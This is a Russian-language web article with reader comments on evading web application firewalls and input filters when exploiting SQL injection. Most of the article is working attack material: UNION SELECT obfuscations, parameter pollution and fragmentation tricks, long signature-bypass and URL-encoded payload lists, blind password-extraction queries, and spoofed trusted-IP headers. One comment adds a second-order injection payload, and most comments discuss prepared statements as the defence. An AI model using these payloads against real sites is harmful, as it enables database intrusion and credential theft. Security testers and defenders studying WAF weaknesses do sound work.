image

 
При разработке современных веб-приложений необходимо использовать защитные средства. Тем не менее, стоит понимать, как они работают, эффективно их применять и осознавать, что они не являются панацеей от хакерских атак. В статье будут рассмотрены способы обхода средств фильтрации и защиты веб-приложений при эксплуатации sql-инъекций.


Прежде чем приступить к рассмотрению вариантов обхода, давайте определимся с тем, что сегодня из себя представляют защитные средства — как нативные, так и "надстроенные".


Защита


Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:


  • mysql_escape_string — экранирует строку для использования в mysql_query;
  • addslashes — экранирует спецсимволы в строке;
  • htmlspecialchars — преобразует специальные символы в HTML сущности;
  • mysql_real_escape_string — экранирует специальные символы в unescaped_string;
  • intval — функция приведения типа.

Большинство этих функций направлено на то, чтобы провести преобразование "опасных" символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.


В "надстроенных" средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.


Обход защитных средств


Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.


Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml. Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.


Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.


Для обхода используются следующие техники:


Инъекция нульбайта: использование %00 до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.


Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем


<script>

в


<sCrIPt>

Встроенные комментарии: использование комментария в атакующем запросе. Например,


/ *! SELECT * / 

может быть пропущен защитным средством, но обработан в целевом веб-приложении.


Раздробленные запросы (chunked): использование кодированных HTTP-запросов для разделения вредоносного пейлоада на несколько HTTP-запросов.


Переполнение буфера: если мы сможем сформировать запрос, который вызовет переполнение буфера защитного механизма, мы можем обойти защитные средства (как в случае успешной эксплуатации самой уязвимости защиты, так и без эксплуатации в случае падения приложения).


HTTP Parameter Pollution: параметрами HTTP-запроса являются пары, состоящие из ключа и значения, разделенные символом =. Первый запрос может быть обработан защитным средством, но на стороне веб-приложения выполнится второй. Для разделения используются &, ; и.т.д.


URL encoding (hex): использование 16-ричного представления символов, например таких как %27 символа кавычки. Это само по себе может быть недостаточным для многих современных средств защиты, но может быть использовано в сочетании в другими методами обхода. Могут встречаться и другие функции преобразования, например функция reverse:


reverse(‘>tpircs/<)niamod.tnemucod(trela>tpircs<‘)

Разделение ключевых слов: здесть можно использовать особенности средств защиты для внедрения пейлоада — добавляем спецсимволы и т.д. в качестве разделителя, они вырезаются защитными средствами и на выходе мы получаем обработанный, но целый пейлоад:


SEL <ECT

будет обработан и из него будет вырезана угловая скобка, на выходе получим


SELECT

Дублирование ключевых слов: этот метод похож на предыдущий — мы добавляем стоп-слово к запросу, чтобы обмануть механизм защиты:


SELECTSELECT

будет обработан и из него будет вырезан первый SELECT, на выходе получим


SELECT

Сброс сессионной куки: для того чтобы не попасть под фильтрацию частых нелигитимных запросов необходимо сбрасывать сессию у каждого запроса.


IP репутация: как и в предыдущем примере, при частых запросах с одного IP — могут быть заблокированы и все остальные с этого адреса. Использования множества адресов для атаки может помочь обойти это ограничение.


Header injection: иногда можно дать понять приложению что запрос пришел из доверенной сети. При отсутствии должных проверок можно подставить доверенно адрес, например 127.0.0.1 в следующие поля:


X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr

Популярные методы обхода защиты от sql-инъекций


Существует два вида инъекций — в строковом или числовом параметре:


Строковый


Example: SELECT * from table where example = 'Example'

Числовой


Example: SELECT * from table where id = 123

Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.


Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:


example.site/index.php?id=-1 UNION SELECT password FROM users

Обход нормализации:


 /? Id = 1 + union + select + 1,2,3 / *

такой запрос будет заблокирован, поэтому сформируем обфусцированный запрос:


 /?id=1/*union*/union/*select*/select+1,2,3/*

который после нормализации защитными средствами:


?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

"соберется" в необходимый пейлоад:


 /? Id = 1 + union + select + 1,2,3 / *

Аналогичный пример запроса:


 /?id=1+un/**/ion+sel/**/ect+1,2,3--

также "соберется" в необходимый пейлоад:


 /? Id = 1 + union + select + 1,2,3 / *

Можно использовать расщепление запроса (HTTP Parameter Pollution):
уязвимый код:


SQL=" select key from table where id= "+Request.QueryString("id")

расщепляем запрос:


 /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

преобразуется в:


 id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

Также можно использовать фрагментацию запроса (HTTP Parameter Fragmentation):
уязвимый код:


 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

фрагментируем:


 /?a=1+union/*&b=*/select+1,2
 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

получаем запрос:


 select * from table where a=1 union/* and b=*/select 1,2
 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

Используем логические операторы:


 /?id=1+OR+0x50=0x50
 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Вместо знака равенства можно использовать знаки отрицания и неравенства (! =, <>, <,>) .


and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null

Естественно что можно комбинировать различные методы для достижения результата по обходу. Пример различных запросов по одному значению:


select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1

Такие атаки могут успешно проходить при наличии следующих условий:


  • Уязвимости в функциях нормализации запроса.
  • Применение технологий HPP и HPF.
  • Обход правил фильтрации (сигнатуры).
  • Уязвимости логики работы приложения (и / или).

Примеры сигнатурного обхода


/*!%55NiOn*/ /*!%53eLEct*/

 %55nion(%53elect 1,2,3)-- -

 +union+distinct+select+

 +union+distinctROW+select+

 /**//*!12345UNION SELECT*//**/

 concat(0x223e,@@version)

 concat(0x273e27,version(),0x3c212d2d)

 concat(0x223e3c62723e,version(),0x3c696d67207372633d22)

 concat(0x223e,@@version,0x3c696d67207372633d22)

 concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62?723e)

 concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)

 concat(‘’,@@version,’’)

 /**//*!50000UNION SELECT*//**/

 /**/UNION/**//*!50000SELECT*//**/

 /*!50000UniON SeLeCt*/

 union /*!50000%53elect*/

 +#uNiOn+#sEleCt

 +#1q%0AuNiOn all#qa%0A#%0AsEleCt

 /*!%55NiOn*/ /*!%53eLEct*/

 /*!u%6eion*/ /*!se%6cect*/

 +un/**/ion+se/**/lect

 uni%0bon+se%0blect

 %2f**%2funion%2f**%2fselect

 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

 REVERSE(noinu)+REVERSE(tceles)

 /*--*/union/*--*/select/*--*/

 union (/*!/**/ SeleCT */ 1,2,3)

 /*!union*/+/*!select*/

 union+/*!select*/

 /**/union/**/select/**/

 /**/uNIon/**/sEleCt/**/

 /**//*!union*//**//*!select*//**/

 /*!uNIOn*/ /*!SelECt*/

 +union+distinct+select+

 +union+distinctROW+select+

 +UnIOn%0d%0aSeleCt%0d%0a

 UNION/*&test=1*/SELECT/*&pwn=2*/

 un?+un/**/ion+se/**/lect+

 +UNunionION+SEselectLECT+

 +uni%0bon+se%0blect+

 %252f%252a*/union%252f%252a /select%252f%252a*/

 /%2A%2A/union/%2A%2A/select/%2A%2A/

 %2f**%2funion%2f**%2fselect%2f**%2f

 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

 /*!UnIoN*/SeLecT+

Примеры url-encoded при проведении union select запросов


   %55nion(%53elect)

   union%20distinct%20select

   union%20%64istinctRO%57%20select

   union%2053elect

   %23?%0auion%20?%23?%0aselect

   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

   %55nion %53eLEct

   u%6eion se%6cect

   unio%6e %73elect

   unio%6e%20%64istinc%74%20%73elect

   uni%6fn distinct%52OW s%65lect

   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

Примеры смешанного содержимого запросов


unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)

union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?

Примеры замены сигнатур


http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

Переполнение буфера


 http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(тут добавляем более 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

HEX/url encoding


http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

Очистка «странных» символов или функций


 http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…

Заключение


Придерживаться правила: all input is evil until proven otherwise.
Тщательно проверять входящие данные.
Тщательно проверять входящие данные.
Тщательно проверять входящие данные.
Использовать комплексные средства защиты веб-приложений от хакерских атак.




В следующей статье я расскажу о методах обхода защитных средств веб-приложений при эксплуатации xss-векторов.

Поделиться с друзьями
-->

Комментарии (58)


  1. andreymal
    13.04.2017 13:57
    +7

    От всего перечисленного спасёт банальнейший PDO. Он сам всё проверит и экранирует как надо.


    А от XSS спасёт банальнейшее принудительное экранирование всех выводимых переменных, которое есть в любом нормальном шаблонизаторе. Ну и jevix и аналоги, если html всё-таки нужен.


    1. LukaSafonov
      13.04.2017 15:14

      Prepared statements / parameterized queries are generally sufficient to prevent 1st order injection on that statement*. If you use un-checked dynamic sql anywhere else in your application you are still vulnerable to 2nd order injection.
      2nd order injection means data has been cycled through the database once before being included in a query, and is much harder to pull off. AFAIK, you almost never see real 2nd order attacks, as it is usually easier for attackers to social-engineer their way in.
      You can accomplish a 2nd order injection attack when you can cause a value to be stored in a database that is later used as a literal in a query. As an example, let's say you enter the following information as your new username when creating an account on a web site (assuming MySQL DB for this question):
      ' + (SELECT UserName + '_' + Password FROM Users LIMIT 1) + '


      1. andreymal
        13.04.2017 15:17
        +3

        А теперь по-русски и с полным примером вместо непонятного огрызка, пожалуйста


        1. andreymal
          13.04.2017 15:36
          +1

          Так и думал, что меня заминусуют, но я так ничего и не понял. Кто будет в здравом уме писать такой запрос, который приведён в этом огрызке? Злоумышленник его написать не сможет, потому что PDO всё заэкранирует, а программисту такое писать зачем?


      1. NoRegrets
        13.04.2017 21:44
        +4

        Собирать SQL со строками полученными откуда угодно, из базы, от пользователя, по сети и т.д. — ССЗБ! Делайте это сколько хотите, только параметры оставьте параметрами и все дела.


  1. nikitasius
    13.04.2017 14:01

    Собсна ничего не мешает проверять входные данные в регулярке вида ^(тут_условие)$, или использовать менее параноинальный вариант, но использовать группу.
    Или прописать пару правил для args и location в nginx, или просто собрать последный с naxsi и снова поколдовать.


    1. LukaSafonov
      13.04.2017 15:16
      +3

      Ничего не мешает, но A1 — SQL injection возглавляет список OWASP который год подряд.


  1. CWN
    13.04.2017 14:04
    +2

    SQL инъекции как класс лечатся связыванием переменных.
    Плюсом идет ускорение работы с БД.

    https://www.google.ru/search?q=sql+bind+variable

    Если уж про PHP, то:
    http://php.net/manual/ru/mysqli.prepare.php
    http://php.net/manual/ru/function.pg-prepare.php
    http://php.net/manual/ru/function.oci-parse.php
    и т.д. для остальных баз.



    1. amakhrov
      16.04.2017 08:38

      Ускорение работы с БД получается только при отправке нескольких запросов с одной структурой, но разными параметрами.


      Если же запросы все разные, то работа с БД замедляется: вместо одного запроса к БД нужно сделать два (prepare + execute).


      1. tixit
        18.04.2017 12:12

        Суть prepared statement в том, что приложение еще на этапе инициализации приложения перекачивает все свои шаблоны sql-запросов на сервер базы данных. Если какая-то часть запросов формируется динамически, и они кажутся на первый взгляд разными, то все равно их можно повторно использовать, следовательно к ним уже не надо применять повторные prepare. т.е. по-любому будет ускорение. Надо просто сохранить все дескрипторы этих «разных» sql запросов для повторного использования просто поместив их в общий пул.


        1. mayorovp
          18.04.2017 12:35

          Суть в том, что некоторые языки созданы, чтобы умирать. И даже хотя у этих языков есть режимы, в которых они не умирают — основной режим все же подразумевает смерть после каждого запроса. И потому у пишущих на таких языках нет никакого общего пула для запросов, который можно было бы подготовить на этапе инициализации приложения. Даже пула соединений — и того нет.


          Вот и пытаются экономить на числе prepare-запросов...


          1. tixit
            18.04.2017 13:44
            -1

            То что процесс обработавший запрос должен умиреть — это просто исторически сложившаяся практика. Умирают процессы именно тех или иных движков, CMS, framework. А процессы на других движках этих же языков программирования могут жить годами и ничего с ними не происходит. Просто многие движки родились до появляения технологии prepared statement. И просто так их теперь не переделать. Это совершенно иная концепция. Но если с нуля писать проект можно практически на любом языке полноценно использовать весь стек технологии prepared statement. Было бы желание и умение. И не важно это java, php, perl или еще что-то.

            Врочем, если какой-то язык программирования технически не поддерживает prepared statement, то вероятно это именно случай когда умирает сам язык программирования, а не его процессы.


            1. mayorovp
              18.04.2017 19:12

              Вы так пишите, как будто prepared statement является единственным, что отделяет "умирающие" варианты php от "неумирающих". На самом же деле это — последнее в списке различий.


        1. DjOnline
          19.04.2017 12:57

          На php все эти prepared запросы умирают. Они будут жить, только если использовать демоны вида phpDaemon, reactphp, prefork.


          1. youlose
            19.04.2017 15:34

            mysql их может кешировать и польза всё равно будет


            1. DjOnline
              19.04.2017 17:47
              +1

              Не может. Нет там никакой пользы, только замедление и лишние накладные расходы в парадигме die always. Query Cache это другое, он работает независимо от того используются ли Prepared statements или нет.


              1. youlose
                19.04.2017 18:06

                В пределах сесии может

                The server maintains caches for prepared statements and stored programs on a per-session basis. Statements cached for one session are not accessible to other sessions. When a session ends, the server discards any statements cached for it.


                То есть от кучи запросов от ORM вида:
                SELECT * FROM sometable WHERE id = ?
                


                Будет повторное использование и может быть даже польза =)
                В целом согласен с вашим утверждением.


                1. DjOnline
                  20.04.2017 01:10
                  +1

                  За такое — select в цикле — по рукам надо бить в продакшене, максимум можно в каких-нибудь небольших вспомогательных утилитах делать. Запросы такого вида должны выглядеть либо как Ic IN (?,?,?), либо как JOIN, либо как subselect в новых версиях mysql, где они не уступают по скорости JOIN.


  1. redfs
    13.04.2017 14:33

    Тщательно проверять входящие данные.
    Использовать плейсхолдеры, про которые в статье почему-то не написано.


  1. ionicman
    13.04.2017 15:29

    А можно тупой вопрос к знатокам? :)

    Если собираются данные в SQL вопрос типа такого:
    'SELECT * from `table` where `id`="' + Экранирование( param ) + '"'

    Где Экранирование заменяет
    \, \0, \n, \r, ', ", \x1a
    на соответствующее со слэшем
    \\, \\0, \\n, \\r, \\', \\", \\Z

    Возможна ли инъекция?
    И если да — то каким образом?

    Заранее благодарю за ответ.


    1. mayorovp
      14.04.2017 08:07

      Ну зачем, зачем так делать в двадцать первом веке? Чем вам параметризованные запросы не угодили?


      1. ionicman
        16.04.2017 12:57

        Что такое параметризованные запросы я в курсе.

        А не затруднит все-таки ответить на вопрос?
        Мне интересны именно способы атаки на такой вектор защиты — вот и все, ну и, судя по ответам, атаку не возможно провести :)


        1. mayorovp
          16.04.2017 13:26

          Для начала, уточните с какой СУБД работаете.


          1. ionicman
            16.04.2017 15:52

            Пусть будет MariaDB или MySQL


            1. mayorovp
              19.04.2017 12:22

              Для MariaDB/MySQL ваша функция эквивалентна mysql_real_escape_string, о чем вам уже написали ниже пока я забывал этот сделать :), поэтому напрямую SQL-инъекцию тут не засунуть.


              И "уязвимость" такого подхода тоже общая с mysql_real_escape_string — очень просто забыть вызвать эту функцию. Более того: нет способа автоматически узнать, не забыл ли ваш коллега вызвать функцию экранирования. Но при должной аккуратности такой способ вполне пригоден для использования.


          1. ionicman
            18.04.2017 16:47
            -1

            И вот так каждый раз — я этот вопрос задавал много-много раз — и так никто мне ответить на него и не смог :)


            1. redfs
              18.04.2017 21:17

              А ваш вопрос некорректен на самом деле. Опишите функцию «Экранирование (param)». В вашем вопросе это некая абстракция, которую сложно оценить. Или приведите ее исходник. А то (если честно), даже не хочется время терять на гадание.
              Допустим, по вашей постановке задачи я решу, что ваша функция «Экранирование», это что-то типа

              preg_replace("/'/", "\\'", $param);
              

              а $param — это $_GET['id'].

              Подходит мое предположение под описание в вашей задаче? Подходит.
              Так это на самом деле? Не уверен.
              Вот и не отвечает вам никто. В вопросе конкретики не хватает, а ванговать не все умеют.


              1. ionicman
                18.04.2017 21:52

                даже не хочется время терять на гадание

                Странно, а зачем гадать, если можно просто уточнить? Ведь это совсем не сложно и при этом очень часто бывает так, что то, что одному очевидно, другому совсем непонятно.
                И это вполне нормально :)

                Без проблем, если на PHP, то пусть будет так (regexp использовать избыточно):
                function screen( $s ) {
                	return str_replace(
                		array( '\\', "\0", "\n", "\r", "'", '"', "\x1a" ),
                		array( '\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z' ),
                		$s
                	) ;
                }

                Естественно, считаем что кодировки все настроены правильно.
                Аргумент — пусть будет что-то из $_REQUEST / $_GET / $_POST.

                Ну и заранее благодарю за ответ и за время, потраченное на мой коммент.


                1. redfs
                  19.04.2017 12:02

                  Ok, спасибо, теперь понятно. Навскиду с учетом того, что в sql запросе подставляемое значение вы обернули в одинарные кавычки мне кажется что sql-иньекция в данном случае проблематична.


                  1. ionicman
                    22.04.2017 09:24

                    Спасибо за ответ.

                    На самом деле первоначально в PHP плейсходеры делались внутри драйвера именно через функцию, и как правильно здесь заметили — это исходник mysql_real_escape_string.

                    И мне тоже не видится абсолютно никакого способа сделать здесь инъекцию — но всегда было интересно — может быть это просто я не вижу :)


                1. andreymal
                  19.04.2017 12:19

                  Поглядел исходники mysql_real_escape_string — она ровно тем же самым и занимается)


  1. symbix
    13.04.2017 15:33
    +4

    Не надо ничего "проверять". Надо правильно работать с базой данных: использовать prepared statements, а где это не подходит — правильно форматировать SQL-запрос с учетом синтаксиса SQL.


    Если бы хабр "проверял", вы бы не смогли запостить эту статью.


  1. tehSLy
    13.04.2017 15:41

    Мне кажется — из нативных тут в первую очередь плейсхолдеры, приведение типов, здравый смысл грамотный алгоритм обработки запросов. При чем тут хтмл, (в статье то про sql инъекци) слегка неясно. Да и хтмл — он и в Африке хтмл, тот кто парсит его регекспами такие статьи не читает.


  1. Loki3000
    13.04.2017 16:15
    +1

    После прочтения мне даже стало интересно посмотреть на эти «системы безопасности», которые подобным образом обходятся с входными данными. Это же натуральное вредительство — кто ими пользуется?


    1. symbix
      13.04.2017 16:48
      +4

      В основном в банках, процессингах и так далее. Там такой агрессивный черный список не помешает (с реальными данными не пересечется), а от уязвимости в очередном апдейте софта от вендора, который решил сэкономить и нанял индусов на апворке, может спасти.


      Вроде бы web application firewall даже обязателен по PCI-DSS, но тут не эксперт, могу и ошибаться.


  1. zenkz
    13.04.2017 16:24

    Защита от SQL-инъекций очень простая — используйте запросы с параметрами! Не составляйте запросы путём сложения строк! А ещё лучше используйте ORM.


  1. artemir
    13.04.2017 17:50

    Пришла идея в голову
    Использовать белый список при работе с символьной обработкой
    И черный список слов, состоящих из белых символов
    Т.е., допустим, можно передавать только буквы латинского алфавита. И в черный список добавить все зарегистрированные слова(SELECT и т.д.)


    1. andreymal
      13.04.2017 17:57

      Во-первых, у такой защиты будет очень ограниченная область применения, так как она даже ваш же комментарий не пропустит. Во-вторых, все слова в чёрный список не подобавляешь, а даже если и подобавляешь, то в какой-нибудь новой версии MySQL появятся ещё слова, которые все забудут добавить. В-третьих, ну блин есть экранирование, PDO, prepared statements, нечего велосипеды городить


      1. artemir
        13.04.2017 18:31

        PDO да, согласен, но такая защита нужна не только для баз.
        P.S: Если экранировать все, что не в белом списке? Так и данные передаются и запросы не будут выполнены


        1. andreymal
          13.04.2017 18:40
          +1

          Зачем всё то что не в белом списке, достаточно просто экранировать вообще всё) Неважно, для баз или чего-то ещё


  1. samizdam
    13.04.2017 21:08
    +1

    Всё содержимое статьи следует заменить тремя буквами: PDO.
    Заголовок можно оставить.
    В каком году PDO появился, 2004-2005? Вот настолько лет рассуждения автора отстали от жизни.
    Ладно, пусть не PHP, хотя автор выбрал для примеров его, пусть другой язык. Но и там слой абстракции работы с бд будет уметь биндинг данных, чтобы не городить этих велосипедов.

    Такая некомпетентность в корп. блоге. Хабр… Рука-лицо…


    1. LukaSafonov
      14.04.2017 07:49

      Если вы используете PDO — это прекрасно. Обратите внимание — статья не о методах защиты, а о методах ее обхода. Существует защита от инъекций — это и PDO и другие методы, указанные в комментариях. Можно вообще не использовать БД — вообще самый радикальный метод =) К сожалению не все придерживаются такого мнения, поэтому SQL-инъекции все еще так распространены/


      1. mayorovp
        14.04.2017 08:25

        Вот только PDO обойти невозможно.


        1. youlose
          14.04.2017 20:47

          Не PDO, а систему передачи параметров в запрос через плейсхолдеры. А обёртка вокруг плейсхолдеров может быть любая.


      1. andreymal
        14.04.2017 10:19

        Всё ещё жду способов обхода PDO.)


        1. symbix
          14.04.2017 16:23

          Нельзя строго сказать, что это способ обхода PDO, но в экзотическом случае с не вполне корректной конфигурацией...


          http://stackoverflow.com/a/12202218


      1. PashaPash
        14.04.2017 13:03
        +1

        Неважно о чем сама статья. В конце статьи есть заключение. В нем написано «Тщательно проверять входящие данные». Совершенно дикий совет. Будь там написано «используйте параметризированный SQL» — статья была бы хорошей. Правда, очень короткой, и ссылку на WAF в нее не получичилось бы вставить :)

        А так — это не современная статья по защите от инъекций, а просто набор хитрых способов обхода «защитных костылей».


        1. LukaSafonov
          14.04.2017 19:38

          Статья так и называется: методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций.


          1. PashaPash
            14.04.2017 21:26
            +1

            Ну так и я о том же. Стандартная защита от SQL-инъекций — параметризированные запросы (через PDO в случае с PHP). В статье об обходе параметризации — ни слова. Все остальное — это не защитные средства, а «защитные средства». А в названии статьи у вас кавычек почему-то нет.


  1. bjatta
    13.04.2017 22:07
    -2

    Почти «поваренная книга хакера» вышла, ведь, к сожалению, нынешние молодые хакеры зачастую ищут не «как взломать конкретный сайт/базу», а ищут сайт/базу которые им удастся взломать подсмотренным где-либо способом.
    Ну и способ сразу заносится в копилку.
    Равно как и сайт.


  1. AslanKurbanov
    14.04.2017 10:59

    При переборе запросов неизбежны ошибки mySQL, если при возникновении ошибки командой mail() слать админу оповещение с текстом, это предупредит что сайт под атакой. Да и вообще интересно посмотреть будет сам запрос.


  1. tixit
    18.04.2017 13:03
    -1

    Периодически курирую всякие проекты от мелких до сперкрупных на тему: «Чтобы в базе данных все летало и чтобы нас не сломали sql-инъекциями». 90% проектов, которые я курировал уже после их разработки использовали все что только можно придумать кроме использования банальных prepared statement. Или вообще никак не фильтровали входящие данные и даже не пользовались функцией экранирования. Как всегда на фразу: парни переходим на использование prepared statement начинаются споры разрабов: «Никто так не делает. Первый раз про это слышу. У меня в багаже туева хуча проектов но никто не требовал использовать prepared statement.»

    А уж услышав что есть возможность еще на этапе инициализации приложения перекачать все sql-запросы на сервер базы данных, проверить их там на ошибки и т.п., вообще у многих срывает крышу, так как для многих это вообще не вписывается в их картину мира.

    Но самое интересное становится когда приложение, наконец, научится работать с prepared statement. Во время запуска начинает иной раз десятки секунд (если запросов десятки тысяч) перекачивать свои sql-запросы на сервер базы данных. И ты ошалевшим разрабам объясняешь, что этим мы перенесли значительную нагрузку с онлайн-режима работы приложения в офлайн. Из кода приложения можно убрать кучу обработчиков исключений по синтаксическим ошибкам в SQLзапросам. Что тоже снижает нагрузку.

    После запуска обновления владельцам проекта говоришь, что вместо 10 выделенных серверов теперь можно оставить 3. Они теперь справляются с нагрузкой.

    Но самое приятное получать зарплату 3-6 месяцев просто объясняя разрабам что такое prepared statement и рассказывая о всех плюшках.


    1. mayorovp
      18.04.2017 19:10

      Десять секунд запуск на сервере? Отлично, вы замечательно замедлили процесс отладки! Впрочем, до чудес шарика (10 минут на запуск) вам еще далеко, надо больше стараться.


    1. mayorovp
      18.04.2017 19:13

      Кстати, а как ваши подготовленные запросы дружат с пулом соединений к серверу?


  1. NeuroZ
    19.04.2017 12:39

    А можете пояснить как используется строка

    /? Id = 1 + union + select + 1,2,3 / *

    Насколько я понял — это строка является целевой для исполнения. Но исполнения кем/чем?
    Просто я не понимаю целевого значения /? и /* в конце строки… как это работает?


    1. mayorovp
      20.04.2017 12:53

      /? — это часть URL. Полный будет выглядеть как-то так: http://example.com/?Id=1+union+select+1,2,3/*


      /* — это начало комментария. Используется чтобы выкинуть весь последующий код в запросе.


        • это URL-закодированный пробел.


      1. NeuroZ
        20.04.2017 19:56

        спасибо за ответ :)